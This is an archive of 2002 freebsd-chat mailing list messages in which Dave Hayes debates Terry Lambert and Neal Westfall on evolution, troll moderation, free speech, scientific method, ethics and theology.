; Wed, 4 Sep 2002 04:40:24 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id DFFD143E3B for ; Wed, 4 Sep 2002 04:40:22 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g84BeK182877; Wed, 4 Sep 2002 04:40:21 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209041140.g84BeK182877@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Terry Lambert Cc: chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 04 Sep 2002 04:40:15 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Terry Lambert writes: > Dave Hayes wrote: >> > Posit a mutation which enables the breathing of Chlorine gas, >> > but not an Oxygen/Nitrogen mix. The environment votes, most >> > explosively. >> >> It's not the environment that votes, it's the creature that dies. >> The environment is fairly static in this case. > > The environment chooses the creatures which survive. It's not able to choose. The creatures are either able to adapt or they are not. >> > Experiential evidence is anecdotal. >> >> It's the only thing I really consider valid, unless thinking in a >> scientific context. > > That's interesting. How is it that problems you solve in this > fashion stay solved, so that you don't have to repeat the work > over and over again, forever, with each problem/solution pair > adding to the mass of what you carry forward, until you hit > your load limit, and can no longer contribute usefully to society? Huh? I don't "solve problems" in this fashion. My life is not defined as "one problem after another". Most of the problems I solve are scientific in nature, but not even all of those are handlable by the methodology you describe. > My personal preference it to analyze the problem, determine > the class of problems it represents (if non-unique), and then > solve for the set of problems in the space represented by the > class, do it once, and never have to look back. Gah. What if the problem is dynamic? What if the problem mutates? What if your classification was in error? I bet I feel about this methodology what you feel about mine. ;) >> > I admit that I read a lot, and that I don't really understand >> > why you won't permit macro expansion, as if the other person had >> > argued my case for me. ;^). >> >> Because it's not coming from you? Because I don't trust the other >> person's arguments to be valid? ;) > > Flatterer. Oh, not intended as flattery. It's more to the point about what we are mostly debating. If I was engaged in a mathematical debate about the validity of the denotation "NP-complete", I can see the references and words. I am, however, engaged in debating more on philosophic grounds (for lack of a better classification), and in these matters I don't accept what others say as a valid representation of your position. All people are unique. Any classification you do on a unique individual lowers your accuracy of estimation of said individual. >> Hmm. Let me try it on you, but with something from my domain: >> >> http://www.lyricscafe.com/m/mayer_john/johnmayer3.htm >> >> It's a bit modern, but it fits your criteria of macro expansion. > > Amusing. I was admiring this song the other night, when I > and another person were on our way to see a movie. I rather > expect the parts I was admiring were not the same parts you > admire enough to quote it to me. Actually your notion of "what a real world is" sparked my association. The song itself is very well written, and the artist has a track record of good songwriting. It's not Pat Metheny, but it will do. If he can escape the identity fixation of fame, we might see more of this. >> I consider logical arguments, in the inappropriate contexts, an >> authority rather than a vehicle of truth. Some of what we are arguing >> about transcends logic. I can do logical arguments, but rarely in >> these contexts we are talking about. >> > You mean, like machine enforcement of the charters for technical > mailing lists... Yes, that would be a contender. A machine restricting discourse has a nauseous taste to it. >> > we can, in fact, design a system which has the emergent properties >> > we desire the system to have. And therefore we can design a system >> > that, by it's very nature, will squelch speech which is not topical, >> > e.g. that of "trolls". >> >> I highly doubt you can do this without squelching information which >> would be useful but at the border of the order you are attempting to >> impose. > > Message sender: > [ body] > [ public key, dated, signed by list server private key ] > [ signature of body + signed public key, signed by user private key ] > List server verification: > [ public key signed by list server private key Yes/No ] > [ body + digned public key, signed by user private key Yes/No ] > [ Any non-Yes answer := posting rejected ] > ...problem solved. Nope. All you are doing here is forcing the users to have a "verifiable" identity. As most everything is, this is quite probably hackable, subject to identity theft from careless users, etc. > Also, all messages now non-repudiable (I view this as a > disadvantage, but not in this context). Why not in this context? >> > On the contrary. It is the nature of science to question assumptions. >> > I see scientists question their own assumptions all the time; all that >> > is required to trigger this is a contradictory observation. Scientists >> > never hold forth facts, only hypothesis. >> >> Observational evidence contradicts this assertion. Really, I've rarely >> seen this, and that fact is why I escaped academia years ago. (They tried >> to hold me in but...) > > As I said before, you are hanging with the wrong peeps. Define "the right peeps". Whatever group it is, I don't belong, period. I've walked the line between many classified groups ever since I was born. >> > [ ... profoundly bad example ... ] >> Why? > Because it analogizes an impedence mismatch with a convergent > series. See? You aren't willing to think out of the box, or to critically examine the concept. You dismiss it out of hand because of your classifications. >> > Incorrect. If you can demonstrate that your system is self-consistent, >> > then it can be measured against how well it models empirical data, and >> > whether or not it's predictive. >> >> In Your Humble Worldview. > > Since it's me you are trying to convince, I'd say "run with it!". 8-). Again, I'm not deluded into thinking I can convince. So I'll just "blip" over it. ;) > Never test for an error condition you don't know how to handle. > -- Steinbach How do you know you can handle it before you get it? >> Sometimes, a model that doesn't "academically work" can still >> "practically work". > "Finger quotes"?!? Eh? >> > Why can't it be orthogonalized? You are effectively arguing >> > against the Taniyama-Shimura conjecture... which has been >> > proven. >> >> The who? Good grief. Is this an authority? ;) > > "All elliptic curves have modular forms" So? How does this imply that you can orthogonalize -all- aspects of life? >> > All I have to do is pick the correct modular goal-space, where >> > all pro-society goals are located on one side of a boundary manifold, >> > and all anti-society goals are located on the other side of the >> > same boundary manifold. >> >> I can't agree with that at all. The world of humans doesn't always >> obey any strict mathematical definition, and as such is not a >> candidate for scientific manners of investigation. > > Oh, this is so wrong. We have arrived at another fundamental disagreement then. > Individual humans are not completely predictable (yet), but > statistically, groups of humans are very, very predicatable. Statistical arguments are generally inconclusive. They are hard to accept unless you can guarantee a bunch of hard to guarantee things about the evidence. That being said, there are certain human foibles that you can see in most people like clockwork. These could resemble statistical observations, but they are best understood by watching individual examples and then applying that experiential knowledge to further observation. >> If you are going to generalize, do it one step further. "Any >> differentiating quality between humans will be used by those >> or other humans as an inference of superiority." > > No. I admit only the possibility, not the inevitability. The truth is actually somewhere in between. >> > You ignored the third alternative: establish your own instance >> > of usenet, rather than attempting to peer with the one where the >> > "netcops" existed. >> >> I did that. Free.* was taken over by Tim Skirvin... > > That was a hierarchy within the context of the genereal usenet. > I'm talking about non-interoperation. The entire point wasn't to make my own sandbox and see who would play in it. This was a very common straw man. It's irrelevant to the drive I had at the time to express common sense and teach people (by the action of not moderating) to -freaking- press the "delete" or "next messsage" key when you don't like what someone posted. What is so damn -hard- about that? Why can't people just do this? Moving the finger takes very little caloric energy, less energy than continuing to read and get worked up. Just look. -You- want to spend a lot of time and energy devising secure identified email or coming up with who knows what just so that the laziness of humanity can prevail over common sense. This is all just more evidence that Earth is really a comedic stage for the amusement of whatever cosmic being(s) are out there watching. ;) >> You should also recognize that if I were to apply scientific method, I >> needed to have a control case as well as an applicative and placebo >> case. It was actually during this phase that I recognized the >> scientific method does -not- work for this kind of thing, there are no >> actual measurable results because you can't correct for the type of >> people and you can't bring in the exact same people to different >> experiments without invalidating your results. > > Any existing system that fulfills a similar societal role is a > control. I think you are confusing the society itself, which is > an independent tentity, with the communications media within > which its internal systems operate. The two are not identical. Maybe so, but they sure lose a lot of distinction in the process. Also, however correct you are, the people -in- the society don't seem to agree with this. They tend to percieve them as one. >> Perhaps support for your "paid troll" theory can be had by noting >> that paid trolls don't really care about the response as long as >> they can shut down the list. (I'm trying to think like you here, >> correct me if I am wrong but I think this is your theory.) > > Yes, this is my theory. They got to ya then. ;) It would appear you are at least somewhat worried about the list being shut down by trolls. If that's true, they've managed to win the first round. >> >> What about those questions which cannot be dealt with rationally? >> > >> > What questions which cannot be dealt with rationally? >> >> "Is there a God?" "Why are we here?" "What is the one difference >> between a sacred being and an evil being?" >> >> Those are some examples. Have fun. ;) > > How to deal with them rationally: "I don't know". That is the first step to wisdom. |) >> > It depends on what you mean by "moderation". >> >> Classic moderation is where a small subset of "society" gets all >> the messages destined for a forum. They then determine whether to post >> those or not. > > This doesn't work. Not because of the reasons you keep claiming, > but because it will not scale. So a superposition of reasons then. I claim classic moderation chills speech. I don't think anyone can prove otherwise, rationally or experientially. >> >> > The only moderation which has been suggested recently is the >> >> > moderation of the FreeBSD-security list. >> >> >> >> Yes. Hopefully that issue will subside. >> > >> > It will only happen if the trolling subsides first. >> >> Baiting the trolls, are we? > > No. I expect the issue to escalate to the point where what > you call "classic" moderation will occur... unless a better > alternative is offered. Hopefully there are enough mature people on the FreeBSD lists that this will not happen. >> > "Human being" is a definition that encompasse both genetics and >> > programming. If someone lacks the proper programming, then by >> > definition, they are merely homo sapiens, not human beings. >> >> Nice dodge. ;) > > Not a dodge. My Uncle-by-marriage's sister is the person who > dispenses Charles Manson's medication. Some people yanked out > out their interface cables before the programming was complete. Some people didn't trust the code and that's why they yanked. Our "society" is not perfect, and I daresay far from it. People like this guy are a reaction to it, which has been increasing in past years. >> >> This is such a straw man. Did you really read my site? Speaking, >> >> without an audience, is not speaking in the sense that the "right to >> >> speak" implies. I will concede that the audience has a right to >> >> ignore you... >> > >> > If I am a newspaper reporter, do I have the right to ignore you? >> >> Not if I have the Dallas Cowboy Cheerleaders at gunpoint. ;) > > I can still ignore what you have to say, and report on the > whack-job with the famous hostages... And your boss can fire you and assign another reporter, yes. >> > Someone forced you to subscribe to the FreeBSD mailing lists, >> > at gunpoint? >> >> Not at gunpoint, but I do have over 35 active FreeBSD systems >> to care for...I think there's an imperative there don't you? > > So what information pertinent to that situation are you getting > from the "FreeBSD is Dead" trolls? Starting with the obvious, Someone feels threatened by FreeBSD. >> > Part of its perfection is that there would be an immune response >> > that made the troll go away. >> >> Maybe this response is "Hey, friend..."? (Ok, so that's -my- utopia, >> not yours.) > > Hey, if it worked... but it wouldn't. It's worked for me in the past. I wouldn't call it reliable, but then again...to do this one you have to be impeccably appropriate. > Of course, since it's your utopia, the dream can come out any way > you want it to, so long as you eventually wake up. I'm still trying to wake up out of the current dream, thank you. That's the dream you wake up to every morning, to clarify. "We dream, yet we are awake. The truth I know they cannot take." -Flora Purim >> > The noosphere is not bounded to a finite competitive resource >> > domain, as you keep implying with your "move to an island" >> > analogy. >> >> I'll grant you finitely uncountable, but really the limit is >> in how long you have to peruse it. > > Not long. You have filters, right? Yes. I still have trouble keeping up with it all. >> > It suits me to not put myself in either of these positions. >> >> The difference between you and I is, I can operate independent of >> my axioms. Sometimes without thought even. If I'm lucky, complete >> mental shutdown. > > You may as well be a puppet, if you give them that much control > over you. Them? Nope. This is my control over me. Deprogramming my mind and letting who I really am surface. >> >> You cannot classify the streams so efficiently as to demand that >> >> one or three postings in a month be removed from the stream. >> > >> > Are you claiming "it cannot be done", or "Terry, personally, is not >> > capable of the feat", or "Dave Hayes is not capable of the feat, >> > therefore no one else is". Be careful how you answer... >> >> As the limit of time approaches infinity, you can't. ;) > > Functionally decompose the problem space, and distribute the > processing. You're asking the same thing of personal filtering, > only you are asking it of a multiplicity equivalent to the fan > out for a given mailing list. I'm not asking anything. I'm implying that unless it's done this way, it's not honorable. People should determine what they want to read. The converse is just as multiplicative; you have to sit there and make presumptions about what N people want to read. As N grows large, you are bound to make decisions that a portion of N would disagree with. This is what stagnates a list, since you have to LCD the presumptions to get "the most people" happy. >> > Wrong. Email sent to a list has a multiplicative effect. >> >> Nonsense. Email sent to a list is a subset of all email sent, for any >> unit of time you want to greater than the time it takes to send one >> email message to the list. > > Mailing lists are push model. They are not Usenet. Stop pretending > they are. The distinction is irrelevant in this case. Functionally, they are the same thing, just on different scales. >> >> > It didn't force me to post. I chose to post, in response. >> >> >> >> It is that choice to which I referred to above. >> > >> > "Responding" != "lobbing the first volley". >> >> In the sense I meant "responding" yes it does equal. You didn't have >> to respond to me. You chose to. So take responsibility for initiating >> this entire diatribe. You could have just ignored me... > > You could have just ignore my response. So by your argument, > you should take responsibility for initiating this entire > diatribe. I merely posted a thought. You attacked that thought. That started the diatribe. Stop weasling, you must have known I wouldn't just back off. ;) >> > No. What justified is self defense, either by an individual or >> > a society. Some defenses are merely more effective than others. >> >> So if someone is chopping the hedges on your side of the fence, >> and you blow him away with a 12-gauge shotgun, it's ok because >> it was effective? > > If they cart you off to prision, and in two years someone buys > the house next door, and chops the hedges on your side of the > fence, then it wasn't effective. Interesting dodge. ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< To the ignorant, a pearl seems a mere stone. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 4:42:50 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id AE56C37B400 for ; Wed, 4 Sep 2002 04:42:46 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3236343E6E for ; Wed, 4 Sep 2002 04:42:46 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g84BgY182928; Wed, 4 Sep 2002 04:42:34 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209041142.g84BgY182928@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Terry Lambert Cc: "Neal E. Westfall" , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 04 Sep 2002 04:42:29 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Terry Lambert writes: > Dave Hayes wrote: >> > There are people who can not do this. I would prefer to have the >> > contributions of those people, than the participation of the trolls. >> > If I must lose one or the other, let it be the trolls. >> >> I feel exactly the opposite. If someone can't hit a key on the >> keyboard and render the troll powerless, I don't want to be held >> hostage to their choices. Good riddance. > > You're not held hostage to their choices. Feel free to subscribe > to other lists as well. So I can return to a hostage state? No thanks. >> Well, people would focus on not being rich. Then they'd be unhappy. >> What good is a BMW if you cant brag to your friends because they >> all have one too? ;) > > The same good it was when you *could* brag: it is a means of > getting from point A to point B. Not exactly the same good, you miss the fun in bragging. >> > You lack of curiousity and determination marks you. >> >> There's a misread. I don't lack these things at all. What made you say >> this? > > You said "I can live with some things being unknowable". That's because there's an entire universe of knowable things that I still have to learn. When I finish those, I'll worry about the rest. ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< What bread looks like depends upon whether you are hungry or not. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 5:14:30 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2337737B400 for ; Wed, 4 Sep 2002 05:14:23 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9B73543E65 for ; Wed, 4 Sep 2002 05:14:22 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g84CEK183039; Wed, 4 Sep 2002 05:14:20 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209041214.g84CEK183039@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: "Neal E. Westfall" Cc: Terry Lambert , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 04 Sep 2002 05:14:15 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Neal E Westfall writes: > On Fri, 30 Aug 2002, Dave Hayes wrote: >> Terry Lambert wrote: >> >> "Desperate" perhaps. "Misunderstood" definately. "Naughty" I refrain >> >> from using, it has too many sexual contexts that are inappropriate. ;) >> > >> > Rodney King was a fleeing felon in voilation of parole. >> >> I don't care what he was. There was zero excuse for that display >> of police brutality. There's zero excuse for any of it actually, >> and it's a prime reason I despise authority and rebel against any >> sort of organized policing. Who watches the watchers? > > Hmmm...On what basis does anyone say that there is "zero excuse" for > such and such action? Moral condemnations flow forth, but on what > basis? Personal history. When I was 15, my best friend was shot in cold blood by LAPD for "resembling" some guy who had offed a 7-11. The guy was one of the smartest people I've ever known, and most definately not a criminal. The LAPD has a very long history of using excessive force when dealing with anyone (criminal or otherwise), especially for those of us that grew up here. Granted, I was kind of traumatized and this may not be a basis everyone can accept. But I do, and at the moment that's all that counts. > You and Terry really are more alike than you may know. Believe me I know. ;) > However, given your rejection of authority, who are you to condemn > police brutality? Someone who's lost a friend to it. > All you are doing is confirming that "there is none righteous, not > even one, there is none who understands, there is none who seeks for > God; all have turned aside, together they have become useless, there > is none who does good, not even one..." (Romans 3:10-12) You really > should read the entire passage, it gets even more to the point, such > that, "every mouth may be closed and all the world may become > accountable to God". Well, two things before I respond. First, when any biblical prose comes into debate, unless the people are very focused on Truth, it will disintegrate into exact semantic meanings of words written over a couple thousand years ago. This is not a place to learn truth, but it is a place to steep in righteousness. ;) Secondly, the bible has many layers of meaning. Some of the layers are unavailable to people without the proper experiential data to interpret them. (This means, if you are a Christan, you read the Bible and then ask God what it means, not your pastor or some bible geek). Ok, now responding to this. I'm familiar enough with the passage. The entire chapter has a theme which is consistently misinterpreted to mean that "all are sinners". It is a negativity pointed to by many other religions as "why Christianity is self-destructive". After all, if you can never be a non-sinner, then what's the use in not sinning? In fact, there's another meaning here, and that has to do with what "righteousness" is and why it's useless to be in that state (I do it above). It's not saying "you are a sinner" per se. It's explaining the uselessness of righteous behavior. This behavior has to be overcome as a stepping stone on the path to being one with the universe. Zen masters merely try to shut off your brain for you, if you can do that then righteous behavior will shut off at the same time. > Who watches the watchers indeed! Speaking, of course, without reference or support of any authority, higher power or otherwise. ;) > I really think you are deceiving yourself if you think you are > not also deeply entrenched in assumptions. I don't think that I am not deeply entrenched in assumptions, how else could I be communicating here? ;) But, alas, even that is an assumption. > Everybody has them, and they are very important. The trick is in > adopting the *right* assumptions. Are you being righteous? ;) How do you know which assumptions are the right ones? "For all have sinned, and come short of the glory of God". > The question to be asked is what presuppositions are > transcendentally necessary for experience to be meaningful at all. > The reason that both of you are so difficult to argue with is that > neither of you seem to think anything is meaningful. I'll admit, to me this is all a dream. Controlled folly this all is. Getting Terry to admit that would be...difficult. ;) ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 5:21: 8 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CFB5C37B401 for ; Wed, 4 Sep 2002 05:21:04 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id 28D7943E65 for ; Wed, 4 Sep 2002 05:21:04 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g84CL2183082; Wed, 4 Sep 2002 05:21:02 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209041221.g84CL2183082@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: "Neal E. Westfall" Cc: Terry Lambert , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 04 Sep 2002 05:20:57 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Neal E Westfall writes: > On Fri, 30 Aug 2002, Dave Hayes wrote: >> Terry Lambert writes: >> > You may say some activity (e.g. killing another human being) is >> > "not right". What you really mean is "it's unethical"; to borrow >> > from Dave Hayes, you are actually saying that it would violate >> > your internal code of conduct. What this actually means, however, >> > is that you will not tolerate it in yourself, and so you will also >> > not tolerate it in others. >> >> This is where we disagree. >> >> I claim you should not worry about what others do, your focus should >> be on what YOU do, and that will maximize gain for you and (somewhat) >> society. You appear to claim that we have to focus on what OTHERS do >> and controlling them achieves more gain for you and society. > > But aren't you contradicting yourself? Hopefully. ;) > Your admonition that people *should not* worry about what others do > is itself a violation of your principle. It is impossible to live > in a community without imposing your views on other people, even if > it is as innocuous as "don't worry about what others do". Nonsense. There is a difference between "imposing" and "sharing". The idea is to hone your own personal judgement by realizing that the important focii are self-directed (this does not mean selfish behavior, it means introspection), and that will help determine how you deal with others. You can still share viewpoints, argue, debate, poke fun at, and all that stuff...as long as you remain focused on your own reactions and motivations. This road leads to sincerity, which leads...farther on. > Why cannot one's internal views include trying to convince others to > adopt the same views, which is, after all, what you are trying to > do. Maybe I should stop responding then. I'm not really trying to convince here. I'm responding to words I see on the screen with my words. If someone learns something from them, great. If they completely disagree and tear them apart, great. I don't sit here with a scoreboard and check em off when I've indoctrinated them. ;) >> > My own objection to this is, first and foremost, that the rights >> > of the state take precedence of the rights of the individual, as >> > the state is composed of individuals, and the yardstick we must >> > therefore use is that of the greatest good for the greatest number. >> >> I claim you can't know that yardstick. > > You are right. Given his worldview, he cannot. On the other hand, > given your worldview, you cannot know the yardstick "do not worry > about what others do" is correct either. It is correct for me. I feel it is correct for most people reading internet text, but if those people don't feel like I do, there's not a damn difference any of my words will (or should) make. ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< If you ever drop your keys into a river of molten lava, let'em go, because, man, they're gone. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 5:24:46 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id DCD3537B401 for ; Wed, 4 Sep 2002 05:24:43 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6B47243E42 for ; Wed, 4 Sep 2002 05:24:43 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g84COf183120; Wed, 4 Sep 2002 05:24:41 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209041224.g84COf183120@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: "Neal E. Westfall" Cc: Terry Lambert , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 04 Sep 2002 05:24:36 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Neal E Westfall writes: > Basically, its not that "God" cannot be rationally proven as much as > the fact that without God, nothing could be proven at all. Hence, > God is proven from the impossibility of the contrary. It is > unreasonable to reject that which is the foundation for everything > else. The fact that a proof either way is necessary, and takes precedence over the obvious and observable, is how Mankind got -into- this mess in the first place. ;) (Still, Terry is gonna tear that apart, I just know it.) ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< In a meadow, the King shot an arrow at a deer but missed. "Bravo!" a Fool shouted. The King became angry and snapped "So! You're making fun of me, eh? I am going to punish the life out of you!" "My word of praise wasn't for His Excellency, but for the deer." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 5:34: 2 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8F1FC37B40B for ; Wed, 4 Sep 2002 05:33:59 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id 150BB440D3 for ; Wed, 4 Sep 2002 05:32:37 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g84CW6183182; Wed, 4 Sep 2002 05:32:06 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209041232.g84CW6183182@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: "Neal E. Westfall" Cc: Terry Lambert , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 04 Sep 2002 05:32:01 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Neal E Westfall writes: > On Mon, 2 Sep 2002, Dave Hayes wrote: >> This is a classic religious (and thus, inaccurate) tenet. > Dave, have you ever questioned *this* assumption? Yes. > You guys are quite amusing to read! The only thing you can agree > on is your anemic prejudices against theology. I used to be quite prejudiced against theology. Spirituality, however, is something that taught me why theology exists the way it does. Now I understand theology as a necessary "kindergarten" for many. > Guess what: Christianity accounts for this fact as well. I bet you the Buddhists, Muslims, and Scientologists, would hotly debate this. Personally, I think you are all right and wrong at the same time. ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< Think enough and you won't know anything! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 5:39: 3 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 64AE137B400 for ; Wed, 4 Sep 2002 05:39:00 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id E3DA443E4A for ; Wed, 4 Sep 2002 05:38:59 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g84Ccm183246; Wed, 4 Sep 2002 05:38:48 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209041238.g84Ccm183246@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Terry Lambert Cc: "Neal E. Westfall" , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 04 Sep 2002 05:38:43 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Terry Lambert writes: > "Neal E. Westfall" wrote: >> So then would it be correct to classify you as a monist? It seems >> that you and Dave are actually on the same wavelength after all! >> I know, I know, he's a dualist, but considering the fact that he >> thinks everything is just one big dance, he's ultimately a monist. >> Everything just "is." > > I would say that Dave is a monist, or has, at least, "demonstrated > monist tendencies". Oh oh, I'm being classified. ;) >> The problem with analogies is that sometimes they prove too much. Have >> you ever met the Programmer? > There's a programmer? 8-). Yeah there is. Er, but you have to be able to stop the dream and look behind the curtain to see the Being. ;) > The rationalist view is that, given two explanations which fit > the facts, the simpler one is the correct one. So you get 50% of your explanations right? ;) >> > So you will change the rule, or you will be removed from the conflict >> > situation, or you will remove yourself from the conflict situation. >> > No matter what you do (or the actual outcome), the conflict will be >> > resolved to the satisfaction of the society. >> >> Yes, but this is all beside the point. It is purely descriptive. >> To what ends *should* society be seeking? > > IMO? The advancement of human knowledge. Noble, but how do you know this isn't misguided? ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< Wise men learn more from fools than fools from the wise. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Wed Sep 4 5:57:52 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org 